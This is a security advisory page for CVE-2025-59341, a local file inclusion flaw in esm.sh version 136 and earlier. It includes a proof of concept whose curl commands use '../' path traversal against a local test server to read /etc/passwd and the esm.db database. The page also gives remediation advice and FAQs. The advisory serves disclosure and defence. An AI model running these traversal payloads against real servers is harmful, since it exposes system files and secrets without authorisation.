CVE-2025-59341: Local File Inclusion in esm.sh

Published Sep 17, 2025
·
Updated

Summary

A Local File Inclusion (LFI) issue was identified in the esm.sh service URL handling. An attacker could craft a request that causes the server to read and return files from the host filesystem (or other unintended file sources).

Severity: High — LFI can expose secrets, configuration files, credentials, or enable further compromise. Impact: reading configuration files, private keys, environment files, or other sensitive files; disclosure of secrets or credentials; information leakage that could enable further attacks.

Vulnerable code snippet is in this file: https://github.com/esm-dev/esm.sh/blob/c62f191d32639314ff0525d1c3c0e19ea2b16143/server/router.go#L1168

---

Proof of Concept

1. Using this default config file that I copy from the repo, the server is running at http://localhost:9999 with this command go run server/esmd/main.go --config=config.json

json { "port": 9999, "npmRegistry": "https://registry.npmjs.org/", "npmToken": "" }

2. Trigger the LFI vulnerability by sending this command below to read a local file

bash read /etc/passwd curl --path-as-is 'http://localhost:9999/pr/x/y@99/../../../../../../../../../../etc/passwd?raw=1&module=1'

or read the database esm.db file curl --path-as-is 'http://localhost:9999/pr/x/y@99/../../../../../../../esm.db?raw=1&module=1'

<img width="3338" height="1906" alt="poc-image" src="https://github.com/user-attachments/assets/f3721e5d-a09c-4227-960a-35279ff52811" />

---

Remediation

Simply remove any .. in the URL path before actually process the file. See more details in this guide

Credits

- Ai Ho (Jessie) - CL Yang

Other sources

esm.sh is a nobuild content delivery network(CDN) for modern web development. In 136 and earlier, a Local File Inclusion (LFI) issue was identified in the esm.sh service URL handling. An attacker could craft a request that causes the server to read and return files from the host filesystem (or other unintended file sources).

MITRE

Affected Software

2 affected components
esm.sh esm.sh<=136
go/github.com/esm-dev/esm.sh<=136

Event History

Sep 17, 2025
CVE Published
via MITRE·05:55 PM
Data Sourced
via MITRE·05:55 PM
DescriptionWeakness
Data Sourced
via NVD·06:15 PM
DescriptionSeverityWeakness
Advisory Published
via GitHub·06:39 PM
Data Sourced
via GitHub·06:39 PM
DescriptionWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2025-59341?

CVE-2025-59341 is assigned a high severity rating due to its potential for local file inclusion vulnerabilities.

2

How do I fix CVE-2025-59341?

To fix CVE-2025-59341, update the esm.sh service to a version later than 136.

3

What type of vulnerability is CVE-2025-59341?

CVE-2025-59341 is a Local File Inclusion (LFI) vulnerability.

4

Who is affected by CVE-2025-59341?

CVE-2025-59341 affects users of the esm.sh service version 136 and earlier.

5

What could an attacker achieve with CVE-2025-59341?

An attacker could exploit CVE-2025-59341 to read and return sensitive files from the host system.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203